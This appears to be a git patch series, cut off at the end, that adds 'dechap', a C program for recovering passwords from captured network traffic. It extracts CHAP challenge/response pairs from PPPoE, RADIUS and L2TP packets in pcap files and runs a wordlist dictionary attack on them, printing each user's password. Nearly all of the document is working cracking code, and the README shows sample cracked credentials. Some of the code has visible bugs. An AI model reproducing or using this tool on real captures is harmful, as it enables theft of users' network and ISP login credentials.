ws{-;AgG?yvjn{<^>JukX74A0_7NKmecs0E>&^wg3PC diff --git a/dechap.c b/dechap.c new file mode 100644 index 0000000..f70bfcf --- /dev/null +++ b/dechap.c @@ -0,0 +1,431 @@ +#include +#include +#include +#include + +#include "dechap.h" + +#define SWVERSION "v0.1 alpha" +#define SWRELEASEDATE "January 2013" + +// "dechap" attempts to recover credentials from packet captures of PPPoE CHAP authentications. +// Written by Foeh Mannay +// Please refer to http://networkbodges.blogspot.com for more information about this tool. +// This software is released under the Modified BSD license. + +params_t *parseParams(int argc, char *argv[]){ + // Returns a struct with various parameters or NULL if invalid + unsigned int i = 1; + params_t *parameters = (params_t*)malloc(sizeof(params_t)); + if(parameters == NULL) return(NULL); + + // There must be 4 parameters + if(argc != 5) return(NULL); + + // Set some defaults + parameters->capfile = NULL; + parameters->wordfile = NULL; + + // Look for the various flags, then store the corresponding value + while(i < argc){ + if(strcmp(argv[i],"-c") == 0){ + parameters->capfile = argv[++i]; + i++; + continue; + } + if(strcmp(argv[i],"-w") == 0){ + parameters->wordfile = argv[++i]; + i++; + continue; + } + // If we get any unrecognised parameters just fail + return(NULL); + } + + // If the input files still aren't set, bomb + if(parameters->capfile == NULL || parameters->wordfile == NULL) return(NULL); + + return(parameters); +} + +auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ +// The decap() function takes in a pointer to a (partial) frame, the size of the +// data, a hint indicating the encap type and a pointer to an authentication instance +// template which is populated as the various layers of encap are stripped away. + int chaplen = 0; + + // Some sanity checks + if(data == NULL) return(NULL); + if(ai == NULL) return(NULL); + + // Based on current encap type, try to determine what the next encap type will be + switch(type){ + case ETHERNET: + if(length < 14) return(NULL); + + // Populate the source and destination MACs then check the EtherType + memcpy(ai->dmac, data, 6); + memcpy(ai->smac, data + 6, 6); + + // VLAN tag next? + if(memcmp(data+12, "\x81\x00", 2) == 0 || memcmp(data+12, "\x91\x00", 2) == 0){ + return(decap(data + 14, length - 14, VLAN, ai)); + } + // MPLS tag next? + if(memcmp(data+12, "\x88\x47", 2) == 0){ + return(decap(data + 14, length - 14, MPLS, ai)); + } + // PPPoE session data next? + if(memcmp(data+12, "\x88\x64", 2) == 0){ + return(decap(data + 14, length - 14, PPPoE, ai)); + } + break; + case VLAN: + if(length < 4) return(NULL); + // Populate the VLAN ID(s): + // If there is already an inner VLAN, move it to an outer + if(ai->cvlan != 0) ai->svlan = ai->cvlan; + // Store this VLAN as the inner + ai->cvlan = (256*data[0] & 15) + data[1]; + + // Now determine the next encap type from the EtherType + // VLAN tag next? + if(memcmp(data+2, "\x81\x00", 2) == 0 || memcmp(data+2, "\x91\x00",2) == 0){ + return(decap(data + 4, length - 4, VLAN, ai)); + } + // MPLS tag next? + if(memcmp(data+2, "\x88\x47", 2) == 0){ + return(decap(data + 4, length - 4, MPLS, ai)); + } + // PPPoE session data next? + if(memcmp(data+2, "\x88\x64", 2) == 0){ + return(decap(data + 4, length - 4, PPPoE, ai)); + } + break; + case MPLS: + if(length < 4) return(NULL); + // Check bottom of stack bit to decide whether to keep stripping MPLS or try for Ethernet + if(data[2] & 1 == 0) return(decap(data + 4, length - 4, MPLS, ai)); // Not BOS, more MPLS + else return(decap(data + 4, length - 4, ETHERNET, ai)); // BOS - try for Ethernet + break; + case PPPoE: + // Only a PPP header can follow a PPPoE session header + if(length < 6) return(NULL); + // Populate the PPPoE SID + ai->pppoesid = (data[2] * 256) + data[3]; + return(decap(data + 6, length - 6, PPP, ai)); + break; + case PPP: + // If the protocol is CHAP, decode it. If not, bail out. + if(length < 2) return(NULL); + if(memcmp(data, "\xc2\x23", 2) == 0){ + return(decap(data + 2, length - 2, CHAP, ai)); + } + else return(NULL); + break; + case CHAP: + if(length < 4) return(NULL); + // We only care about challenges and responses, so success and failure messages are ignored. + switch(data[0]){ + case CHAP_CHALLENGE: // If it's a challenge: + // Populate the auth ID, challenge data and challenge length. + ai->authid = data[1]; + ai->cr = CHAP_CHALLENGE; + ai->length = data[4]; + ai->data = (char*)malloc(ai->length); + if(ai->data == NULL){ + printf("Could not malloc %u bytes for CHAP challenge data!\n",ai->length); + return(NULL); + } + memcpy(ai->data, data + 5, ai->length); + return(ai); + break; + case CHAP_RESPONSE: // If it's a response: + // Populate the auth ID, response data and username. + ai->authid = data[1]; + ai->cr = CHAP_RESPONSE; + ai->length = data[4]; // Should always be 16 but why take chances? + ai->data = (char*)malloc(ai->length); + if(ai->data == NULL){ + printf("Could not malloc %u bytes for CHAP response data!\n",ai->length); + return(NULL); + } + memcpy(ai->data, data + 5, ai->length); + chaplen = (256 * data[2]) + data[3]; + ai->username = (char*)malloc(chaplen - (ai->length + 4)); + if(ai->username == NULL){ + printf("Could not malloc %u bytes for CHAP username!\n",chaplen - (ai->length + 4)); + return(NULL); + } + memcpy(ai->username, data + 5 + ai->length, chaplen - (ai->length + 5)); + ai->username[chaplen - (ai->length + 5)] = '\x00'; // Null-terminate the username for later use. + return(ai); + break; + default: // We have no interest in success or failure messages as there is nothing to attack. + return(NULL); + } + } + return(NULL); +} + +void clean(auth_instance_t *ai){ +// Populates an authentication instance with default values + if(ai == NULL) return; + + memcpy(ai->dmac, "\x00\x00\x00\x00\x00\x00", 6); + memcpy(ai->smac, "\x00\x00\x00\x00\x00\x00", 6); + ai->svlan = 0; + ai->cvlan = 0; + ai->pppoesid = 0; + ai->authid = 0; + ai->cr = CHAP_NONE; + ai->length = 0; + ai->data = NULL; + ai->username = NULL; +} + +auth_list_item_t *graft(auth_list_item_t *root, auth_list_item_t *newitem){ +// Adds an authentication list item to an existing list (or NULL), returning +// a pointer to the root. + auth_list_item_t *current = root; + if(root == NULL) return(newitem); + + while(current->next != NULL) current = current->next; + current->next = newitem; + newitem->prev = current; + return(root); +} + +auth_list_item_t *node(auth_instance_t *item){ +// Creates an authentication list item from an authentication instance. + auth_list_item_t *n = (auth_list_item_t*)malloc(sizeof(auth_list_item_t)); + + if(n == NULL) return(NULL); + n->item = item; + n->next = NULL; + n->prev = NULL; + return(n); +} + +puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_t *response){ +// Generates a puzzle from a challenge / response pair and appends it to the list of puzzles. + puzzle_t *current; + puzzle_t *newnode = (puzzle_t*)malloc(sizeof(puzzle_t)); + + if(newnode == NULL){ + printf("Error: Could not allocate memory for puzzle!"); + return(root); + } + + newnode->next = NULL; + newnode->authid = challenge->item->authid; + newnode->length = challenge->item->length; + newnode->challenge = challenge->item->data; + newnode->response = response->item->data; + newnode->username = response->item->username; + newnode->password == NULL; + + if(root == NULL) return(newnode); + for(current = root; current->next != NULL; current = current->next); + current->next = newnode; + return(root); +} + +auth_list_item_t *parse_pcap(FILE *capfile){ + char *memblock = NULL; + auth_list_item_t *chaps = NULL; + auth_instance_t *ai = NULL, + *decapai = NULL; + guint32 caplen = 0; + + // Start parsing the capture file: + rewind(capfile); + clearerr(capfile); + memblock = (char*)malloc(sizeof(pcap_hdr_t)); + if(memblock == NULL){ + printf("Insufficient memory to load capture header.\n"); + return(NULL); + } + // Read the pcap header + if(fread (memblock, 1, sizeof(pcap_hdr_t), capfile) != sizeof(pcap_hdr_t)){ + printf("Truncated capture file header - aborting.\n"); + free(memblock); + return(NULL); + } + // Verify the magic number in the header indicates a pcap file + if(((pcap_hdr_t*)memblock)->magic_number != 2712847316){ + printf("\nError!\nThis is not a valid pcap file. If it has been saved as pcap-ng\nconsider converting it to original pcap format with tshark or similar.\n"); + free(memblock); + return(NULL); + } + + // Generate an authentication instance template ready to use + ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); + if(ai == NULL){ + printf("Error: could not allocate memory for authentication instance!\n"); + return(NULL); + } + + // Read in the packets and search for any CHAP. Store the challenges and responses in a list. + while(feof(capfile) | ferror(capfile) == 0){ + free(memblock); + // Get the packet record header and examine it for the packet size + memblock = malloc(sizeof(pcaprec_hdr_t)); + if(memblock == NULL){ + printf("Error: Could not allocate memory for pcap record header!\n"); + return(NULL); + } + if(fread (memblock, 1, sizeof(pcaprec_hdr_t), capfile) != sizeof(pcaprec_hdr_t)){ +// printf("Error: Truncated pcap file reading record header!\n"); + break; + } + caplen = ((pcaprec_hdr_t*)memblock)->incl_len; + free(memblock); + memblock = malloc(caplen); + if(memblock == NULL){ + printf("Error: Could not allocate memory for pcap record header!\n"); + return(NULL); + } + // Get the actual packet data and attempt to parse it + if(fread (memblock, 1, caplen, capfile) != caplen){ + printf("Error: Truncated pcap file reading capture!\n"); + break; + } + + // Start with a fresh authentication instance template. + clean(ai); + decapai = decap(memblock, caplen, ETHERNET, ai); + if(decapai != NULL){ + // We found some CHAP, so store it + // Generate a fresh authentication instance template for use in the next round + ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); + if(ai == NULL){ + printf("Error: could not allocate memory for authentication instance!\n"); + return(NULL); + } + // Then store the current authentication instance in a list + chaps = graft(chaps, node(decapai)); + } + } + free(memblock); + return(chaps); +} + +puzzle_t *pair_up(auth_list_item_t *chaps){ + puzzle_t *puzzles = NULL; + auth_list_item_t *response = NULL, + *challenge = NULL; + + // Now cycle through the responses and find their corresponding challenges + // This is done by working forward through the list until we find a response, + // then working backwards from there to find the most recent challenge that + // matches that PPP session based on MAC address, S&C VLAN, PPPoE session + // ID and authentication ID. + for(response = chaps; response != NULL; response = response->next){ + if(response->item->cr == CHAP_CHALLENGE) continue; + for(challenge = response; challenge != NULL; challenge = challenge->prev){ + // Go through previous challenges to find one matching our response + if(challenge->item->cr == CHAP_CHALLENGE && + memcmp(challenge->item->smac, response->item->dmac, 6) == 0 && + memcmp(challenge->item->dmac, response->item->smac, 6) == 0 && + challenge->item->svlan == response->item->svlan && + challenge->item->cvlan == response->item->cvlan && + challenge->item->pppoesid == response->item->pppoesid && + challenge->item->authid == response->item->authid) + break; + } + // If we can't find a matching challenge then we can't do anything. + if(challenge == NULL) continue; + + // If we did find a match, create an entry in our list of hashes. + puzzles = addpuzzle(puzzles, challenge, response); + } + return(puzzles); +} + +void crack(puzzle_t *puzzles, FILE *wordfile){ +// Attempts to solve challenge / response "puzzles" using candidate passwords +// from a word list. + + puzzle_t *currentpuzzle = NULL; + char *password = (char*)malloc(256), + tuple[512], + hash[16]; + int pwlen = 0; + + for(currentpuzzle = puzzles; currentpuzzle != NULL; currentpuzzle = currentpuzzle->next){ + rewind(wordfile); + while(feof(wordfile) == 0){ + if(fgets(password, 255, wordfile) == NULL) break; + pwlen = strlen(password); + if(pwlen > 0 && password[pwlen-1] == '\n') password[pwlen-1] = '\x00'; + // Next job is to concatenate the auth ID with the plaintext password and the challenge data: + tuple[0] = (char)currentpuzzle->authid; + strcpy(tuple+1, password); + memcpy(tuple+pwlen, currentpuzzle->challenge, currentpuzzle->length); + // Obtain the MD5 hash of this and compare it to the one in the CHAP response: + MD5(tuple, pwlen + currentpuzzle->length , hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + } + } + if(currentpuzzle->password == NULL) printf("Unable to find a password for user %s.\n", currentpuzzle->username); + } +} + +int main(int argc, char *argv[]){ +// The main function basically just calls other functions to do the work. + params_t *parameters = NULL; + FILE *capfile = NULL, + *wordfile = NULL; + auth_list_item_t *chaps = NULL; + puzzle_t *puzzles = NULL; + + // Parse our command line parameters and verify they are usable. If not, show help. + parameters = parseParams(argc, argv); + if(parameters == NULL){ + printf("De-CHAP brute-forcer for PPPoE traffic\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); + printf("Usage:\n"); + printf("%s -c capfile -w wordfile\n\n",argv[0]); + printf("Where capfile is a tcpdump-style .cap file containing CHAP authentications\n"); + printf("and wordfile is a plain text file containing password guesses.\n"); + return(1); + } + + // Attempt to open the capture file and word list: + capfile = fopen(parameters->capfile,"rb"); + if (capfile == NULL) { + printf("\nError!\nUnable to open capture file!\n"); + return(1); + } + wordfile = fopen(parameters->wordfile, "r"); + if(wordfile == NULL){ + printf("Error - could not open wordfile!\n"); + return(1); + } + + // Parse the pcap file and store any authentications found in the list: + chaps = parse_pcap(capfile); + if(chaps == NULL){ + printf("No authentications loaded from capture.\n"); + return(1); + } + fclose(capfile); + + // Now pair up the authentication instances (challenges and responses) into + // "puzzles" which can brute-forced later. + puzzles = pair_up(chaps); + + + // Now we have our puzzles, let's crack some passwords. + if(puzzles == NULL){ + printf("No challenge / response pairs could be generated.\n"); + return(1); + } + crack(puzzles, wordfile); + fclose(wordfile); + + return(0); +} + diff --git a/dechap.h b/dechap.h new file mode 100644 index 0000000..ee86701 --- /dev/null +++ b/dechap.h @@ -0,0 +1,68 @@ +#define CHAP_NONE '\x00' +#define CHAP_CHALLENGE '\x01' +#define CHAP_RESPONSE '\x02' +#define ETHERNET '\x01' +#define VLAN '\x02' +#define MPLS '\x03' +#define PPPoE '\x04' +#define PPP '\x05' +#define CHAP '\x06' + + +typedef struct auth_instance_s { +// A data structure to hold the details necessary to uniquely identify an authentication instance. + char smac[6]; + char dmac[6]; + int svlan; + int cvlan; + int pppoesid; + int authid; + char cr; + int length; + char *data; + char *username; +} auth_instance_t; + +typedef struct auth_list_item_s { +// A node for creating linked lists of authentication instances + struct auth_list_item_s *next; + struct auth_list_item_s *prev; + auth_instance_t *item; +} auth_list_item_t; + +typedef struct puzzle_s { +// A node for creating linked lists of challenge / response pairs + struct puzzle_s *next; + int authid; + int length; + char *challenge; + char *response; + char *username; + char *password; +} puzzle_t; + +typedef unsigned int guint32; +typedef unsigned short guint16; +typedef signed int gint32; +typedef struct pcap_hdr_s { + guint32 magic_number; /* magic number */ + guint16 version_major; /* major version number */ + guint16 version_minor; /* minor version number */ + gint32 thiszone; /* GMT to local correction */ + guint32 sigfigs; /* accuracy of timestamps */ + guint32 snaplen; /* max length of captured packets, in octets */ + guint32 network; /* data link type */ +} pcap_hdr_t; + +typedef struct pcaprec_hdr_s { + guint32 ts_sec; /* timestamp seconds */ + guint32 ts_usec; /* timestamp microseconds */ + guint32 incl_len; /* number of octets of packet saved in file */ + guint32 orig_len; /* actual length of packet */ +} pcaprec_hdr_t; + +typedef struct params_s { + char *capfile; + char *wordfile; +} params_t; + From 044430c5b4c71a1f5e8e5bb3e521e934e2a74ed2 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:27:49 +0200 Subject: [PATCH 02/12] dechap v0.2a --- Makefile | 5 + README | 26 +++++- dechap.c | 273 ++++++++++++++++++++++++++++++++++++++++++------------- dechap.h | 10 +- 4 files changed, 245 insertions(+), 69 deletions(-) diff --git a/Makefile b/Makefile index 123e9b6..4b5f56c 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,10 @@ CC=gcc + CFLAGS=-lssl + + all: + $(CC) $(CFLAGS) dechap.c -o dechap + diff --git a/README b/README index 2a77a9e..8e85193 100644 --- a/README +++ b/README @@ -1,22 +1,29 @@ -dechap v0.1 Alpha +dechap v0.2 Alpha Written by Foeh Mannay, January 2013 PURPOSE ======= -dechap is a tool which attempts to recover login credentials from captured PPPoE CHAP authentications. It strips away any 802.1Q tags and / or MPLS labels which are present to get to the CHAP and then runs a dictionary attack against any authentications it finds. +dechap is a tool which attempts to recover login credentials from captured +PPPoE, RADIUS and L2TP CHAP authentications. It strips away any 802.1Q tags +and / or MPLS labels which are present to get to the CHAP and then runs a +dictionary attack against any authentications it finds. -Please see http://networkingbodges.blogspot.com/ for more information on the theory behind this. +Please see http://networkingbodges.blogspot.com/ for more information on the +theory behind this if you are interested. INSTALLATION ============ -Provided the OpenSSL dev libraries are installed it should be possible to simply extract the source code, cd into the directory then run "make". +Provided the OpenSSL dev libraries are installed it should be possible to simply +extract the source code, cd into the directory then run "make". USAGE ===== -There are only two parameters and both are mandatory. You must specify your capture file (original pcap format) with the -c flag and your word list with the -w flag. Here's an example: +There are only two parameters and both are mandatory. You must specify your +capture file (original pcap format) with the -c flag and your word list with +the -w flag. Here's an example: lab@lab:~/dechap$ ./dechap -w mywords.txt -c someauths.cap Found password "tangerine" for user user1@testisp.com. @@ -26,3 +33,12 @@ Found password "Africa" for user user4@testisp.com. Found password "Frankenstein" for user user5@testisp.com. lab@lab:~/dechap$ +CHANGE LOG +========== + +v0.1a First working release, only works with PPPoE traffic. + +v0.2a Added support for RADIUS and L2TP captures. + Fixed a bug in MPLS decap. + + diff --git a/dechap.c b/dechap.c index f70bfcf..d8101fd 100644 --- a/dechap.c +++ b/dechap.c @@ -5,10 +5,10 @@ #include "dechap.h" -#define SWVERSION "v0.1 alpha" +#define SWVERSION "v0.2 alpha" #define SWRELEASEDATE "January 2013" -// "dechap" attempts to recover credentials from packet captures of PPPoE CHAP authentications. +// "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS or L2TP CHAP authentications. // Written by Foeh Mannay // Please refer to http://networkbodges.blogspot.com for more information about this tool. // This software is released under the Modified BSD license. @@ -48,11 +48,12 @@ params_t *parseParams(int argc, char *argv[]){ return(parameters); } -auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ +auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance_t *ai){ // The decap() function takes in a pointer to a (partial) frame, the size of the // data, a hint indicating the encap type and a pointer to an authentication instance // template which is populated as the various layers of encap are stripped away. int chaplen = 0; + int vlen = 0; // Some sanity checks if(data == NULL) return(NULL); @@ -79,6 +80,10 @@ auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ if(memcmp(data+12, "\x88\x64", 2) == 0){ return(decap(data + 14, length - 14, PPPoE, ai)); } + // IP next? + if(memcmp(data+12, "\x08\x00",2) == 0){ + return(decap(data + 14, length - 14, IPv4, ai)); + } break; case VLAN: if(length < 4) return(NULL); @@ -105,8 +110,14 @@ auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ case MPLS: if(length < 4) return(NULL); // Check bottom of stack bit to decide whether to keep stripping MPLS or try for Ethernet - if(data[2] & 1 == 0) return(decap(data + 4, length - 4, MPLS, ai)); // Not BOS, more MPLS - else return(decap(data + 4, length - 4, ETHERNET, ai)); // BOS - try for Ethernet + if((data[2] & '\x01') == 0){ + return(decap(data + 4, length - 4, MPLS, ai)); // Not BOS, more MPLS + } + if(length > 4 && (data[4] & '\xf0') == '\x40'){ + return(decap(data + 4, length - 4, IPv4, ai)); // BOS, presume IPv4 + } else { + return(decap(data + 4, length - 4, ETHERNET, ai)); // BOS - try for Ethernet + } break; case PPPoE: // Only a PPP header can follow a PPPoE session header @@ -132,12 +143,12 @@ auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ ai->authid = data[1]; ai->cr = CHAP_CHALLENGE; ai->length = data[4]; - ai->data = (char*)malloc(ai->length); - if(ai->data == NULL){ + ai->challenge_data = (char*)malloc(ai->length); + if(ai->challenge_data == NULL){ printf("Could not malloc %u bytes for CHAP challenge data!\n",ai->length); return(NULL); } - memcpy(ai->data, data + 5, ai->length); + memcpy(ai->challenge_data, data + 5, ai->length); return(ai); break; case CHAP_RESPONSE: // If it's a response: @@ -145,12 +156,12 @@ auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ ai->authid = data[1]; ai->cr = CHAP_RESPONSE; ai->length = data[4]; // Should always be 16 but why take chances? - ai->data = (char*)malloc(ai->length); - if(ai->data == NULL){ + ai->response_data = (char*)malloc(ai->length); + if(ai->response_data == NULL){ printf("Could not malloc %u bytes for CHAP response data!\n",ai->length); return(NULL); } - memcpy(ai->data, data + 5, ai->length); + memcpy(ai->response_data, data + 5, ai->length); chaplen = (256 * data[2]) + data[3]; ai->username = (char*)malloc(chaplen - (ai->length + 4)); if(ai->username == NULL){ @@ -164,6 +175,139 @@ auth_instance_t *decap(char *data, int length, char type, auth_instance_t *ai){ default: // We have no interest in success or failure messages as there is nothing to attack. return(NULL); } + break; + case IPv4: + // If the protocol is IPv4 we may find some UDP RADIUS / L2TP messages + if(length < 20) return(NULL); + if(length < 4 * (data[0] & 15)) return(NULL); + + if(data[9] == '\x11'){ + return(decap(data + (4 * (data[0] & 15)), length - (4 * (data[0] & 15)), UDP, ai)); + } else return(NULL); + break; + case UDP: + // If the protocol is UDP, check for RADIUS / L2TP port numbers + if(length < 8) return(NULL); + + if(memcmp(data + 2, "\x07\x14",2) == 0){ // RADIUS port 1812 + return(decap(data + 8, length - 8, RADIUS, ai)); + } else if(memcmp(data + 2, "\x06\xa5",2) == 0){ + return(decap(data + 8, length - 8, L2TP, ai)); + } else return(NULL); + break; + case RADIUS: + // If a RADIUS access request packet is found, we can try for a challenge / reponse pair. + if(length < 20) return(NULL); // Must be large enough for a full RADIUS header + if(data[0] != '\x01') return(NULL); // Only interested in Access-Requests + vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; + if(vlen > length) return(NULL); // If the header says length > remaining data, bail out + + return(decap(data + 20, vlen - 20, RADAVP, ai)); + break; + case RADAVP: + // Work through the RADIUS AVPs to try and gather auths. + if(length < 2 || (char)data[1] > length){ + // If we are at the end but we have an authentication, return it. + if(ai->challenge_data != NULL && ai->response_data != NULL){ + ai->cr = CHAP_BOTH; + return(ai); + } else return(NULL); + } + vlen = (unsigned char)data[1] - 2; + switch(data[0]){ + case '\x03': // CHAP response data + ai->authid = data[2]; + ai->response_data = (char*)malloc(vlen); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for CHAP response data!\n"); + return(NULL); + } + memcpy(ai->response_data, data + 3, vlen - 1); + break; + case '\x01': // Username + ai->username = (char*)malloc(vlen + 1); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for username!\n"); + return(NULL); + } + memcpy(ai->username, data + 2, vlen); + ai->username[vlen]='\x00'; // Don't forget to null terminate it. + break; + case '\x3c': // CHAP challenge data + ai->challenge_data = (char*)malloc(vlen); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for CHAP challenge data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data + 2, vlen); + ai->length = vlen; + break; + } + return(decap(data + vlen + 2, length - (vlen + 2), RADAVP, ai)); + break; + case L2TP: + // If we get an L2TP ICCN packet, it may contain a CHAP authentication. + if(length < 12) return(NULL); + if((data[1] & '\x0f') != '\x02' || data[0] & '\xcb' != '\xc8') return(NULL); + vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; + if(vlen > length) return(NULL); // If the header says length > remaining data, bail out + + return(decap(data + 12, vlen - 12, L2AVP, ai)); + break; + case L2AVP: + // Work through the L2TP AVPs to try and gather auths. + if(length < 6){ + // If we are at the end but we have an authentication, return it. + if(ai->challenge_data != NULL && ai->response_data != NULL){ + ai->cr = CHAP_BOTH; + return(ai); + } else return(NULL); + } + vlen = (256 * ((unsigned char)data[0] & 3)) + (unsigned char)data[1]; + if(vlen > length) return(NULL); + + // If this isn't a reserved AVP, we're not interested. + if(memcmp(data + 2, "\x00\x00\x00", 3) != 0) return(decap(data + vlen, length - vlen, L2AVP, ai)); + + switch(data[5]){ + case '\x00': // Control message type + // CHAP should only be in an ICCN message, so abandon anything else + if(memcmp(data + 6, "\x00\x0c", 2) != 0){ + return(NULL); + } + break; + case '\x1e': // Username + ai->username = (char*)malloc(vlen - 5); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for username!\n"); + return(NULL); + } + memcpy(ai->username, data + 6, vlen - 6); + ai->username[vlen-6]='\x00'; // Don't forget to null terminate it. + break; + case '\x1f': // CHAP challenge data + ai->challenge_data = (char*)malloc(vlen - 6); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for CHAP challenge data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data + 6, vlen - 6); + ai->length = vlen - 6; + break; + case '\x20': // Authentication ID + ai->authid = (unsigned char)data[7]; + break; + case '\x21': // CHAP response data + ai->response_data = (char*)malloc(vlen - 6); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for CHAP response!\n"); + return(NULL); + } + memcpy(ai->response_data, data + 6, vlen - 6); + break; + } + return(decap(data + vlen, length - vlen, L2AVP, ai)); + break; } return(NULL); } @@ -180,7 +324,8 @@ void clean(auth_instance_t *ai){ ai->authid = 0; ai->cr = CHAP_NONE; ai->length = 0; - ai->data = NULL; + ai->challenge_data = NULL; + ai->response_data = NULL; ai->username = NULL; } @@ -220,10 +365,10 @@ puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_ newnode->next = NULL; newnode->authid = challenge->item->authid; newnode->length = challenge->item->length; - newnode->challenge = challenge->item->data; - newnode->response = response->item->data; + newnode->challenge = challenge->item->challenge_data; + newnode->response = response->item->response_data; newnode->username = response->item->username; - newnode->password == NULL; + newnode->password = NULL; if(root == NULL) return(newnode); for(current = root; current->next != NULL; current = current->next); @@ -231,13 +376,53 @@ puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_ return(root); } -auth_list_item_t *parse_pcap(FILE *capfile){ +puzzle_t *pair_up(auth_list_item_t *chaps){ + puzzle_t *puzzles = NULL; + auth_list_item_t *response = NULL, + *challenge = NULL; + + // Now cycle through the responses and find their corresponding challenges + // This is done by working forward through the list until we find a response, + // then working backwards from there to find the most recent challenge that + // matches that PPP session based on MAC address, S&C VLAN, PPPoE session + // ID and authentication ID. + for(response = chaps; response != NULL; response = response->next){ + + if(response->item->cr == CHAP_CHALLENGE) continue; + if(response->item->cr == CHAP_BOTH){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response); + continue; + } + for(challenge = response; challenge != NULL; challenge = challenge->prev){ + // Go through previous challenges to find one matching our response + if(challenge->item->cr == CHAP_CHALLENGE && + memcmp(challenge->item->smac, response->item->dmac, 6) == 0 && + memcmp(challenge->item->dmac, response->item->smac, 6) == 0 && + challenge->item->svlan == response->item->svlan && + challenge->item->cvlan == response->item->cvlan && + challenge->item->pppoesid == response->item->pppoesid && + challenge->item->authid == response->item->authid) + break; + } + // If we can't find a matching challenge then we can't do anything. + if(challenge == NULL) continue; + + // If we did find a match, create an entry in our list of hashes. + puzzles = addpuzzle(puzzles, challenge, response); + } + return(puzzles); +} + +puzzle_t *parse_pcap(FILE *capfile){ char *memblock = NULL; auth_list_item_t *chaps = NULL; auth_instance_t *ai = NULL, *decapai = NULL; guint32 caplen = 0; - + puzzle_t *puzzles = NULL, + *p = NULL; + // Start parsing the capture file: rewind(capfile); clearerr(capfile); @@ -308,39 +493,8 @@ auth_list_item_t *parse_pcap(FILE *capfile){ } } free(memblock); - return(chaps); -} - -puzzle_t *pair_up(auth_list_item_t *chaps){ - puzzle_t *puzzles = NULL; - auth_list_item_t *response = NULL, - *challenge = NULL; - // Now cycle through the responses and find their corresponding challenges - // This is done by working forward through the list until we find a response, - // then working backwards from there to find the most recent challenge that - // matches that PPP session based on MAC address, S&C VLAN, PPPoE session - // ID and authentication ID. - for(response = chaps; response != NULL; response = response->next){ - if(response->item->cr == CHAP_CHALLENGE) continue; - for(challenge = response; challenge != NULL; challenge = challenge->prev){ - // Go through previous challenges to find one matching our response - if(challenge->item->cr == CHAP_CHALLENGE && - memcmp(challenge->item->smac, response->item->dmac, 6) == 0 && - memcmp(challenge->item->dmac, response->item->smac, 6) == 0 && - challenge->item->svlan == response->item->svlan && - challenge->item->cvlan == response->item->cvlan && - challenge->item->pppoesid == response->item->pppoesid && - challenge->item->authid == response->item->authid) - break; - } - // If we can't find a matching challenge then we can't do anything. - if(challenge == NULL) continue; - - // If we did find a match, create an entry in our list of hashes. - puzzles = addpuzzle(puzzles, challenge, response); - } - return(puzzles); + return(pair_up(chaps)); } void crack(puzzle_t *puzzles, FILE *wordfile){ @@ -385,11 +539,13 @@ int main(int argc, char *argv[]){ // Parse our command line parameters and verify they are usable. If not, show help. parameters = parseParams(argc, argv); if(parameters == NULL){ - printf("De-CHAP brute-forcer for PPPoE traffic\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); + printf("dechap: the CHAP password brute-forcer for PPPoE, RADIUS and L2TP traffic\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); printf("Usage:\n"); printf("%s -c capfile -w wordfile\n\n",argv[0]); - printf("Where capfile is a tcpdump-style .cap file containing CHAP authentications\n"); - printf("and wordfile is a plain text file containing password guesses.\n"); + printf("Where capfile is a tcpdump-style .cap file containing PPPoE, RADIUS\n"); + printf("or L2TP CHAP authentications and wordfile is a plain text file\n"); + printf("containing password guesses. VLAN tags and MPLS labels are automatically\n"); + printf("stripped.\n"); return(1); } @@ -406,21 +562,12 @@ int main(int argc, char *argv[]){ } // Parse the pcap file and store any authentications found in the list: - chaps = parse_pcap(capfile); - if(chaps == NULL){ - printf("No authentications loaded from capture.\n"); - return(1); - } + puzzles = parse_pcap(capfile); fclose(capfile); - // Now pair up the authentication instances (challenges and responses) into - // "puzzles" which can brute-forced later. - puzzles = pair_up(chaps); - - // Now we have our puzzles, let's crack some passwords. if(puzzles == NULL){ - printf("No challenge / response pairs could be generated.\n"); + printf("No attackable authentications found.\n"); return(1); } crack(puzzles, wordfile); diff --git a/dechap.h b/dechap.h index ee86701..340e72a 100644 --- a/dechap.h +++ b/dechap.h @@ -1,12 +1,19 @@ #define CHAP_NONE '\x00' #define CHAP_CHALLENGE '\x01' #define CHAP_RESPONSE '\x02' +#define CHAP_BOTH '\x03' #define ETHERNET '\x01' #define VLAN '\x02' #define MPLS '\x03' #define PPPoE '\x04' #define PPP '\x05' #define CHAP '\x06' +#define IPv4 '\x07' +#define UDP '\x08' +#define RADIUS '\x09' +#define RADAVP '\x0a' +#define L2TP '\x0b' +#define L2AVP '\x0c' typedef struct auth_instance_s { @@ -19,7 +26,8 @@ typedef struct auth_instance_s { int authid; char cr; int length; - char *data; + char *challenge_data; + char *response_data; char *username; } auth_instance_t; From 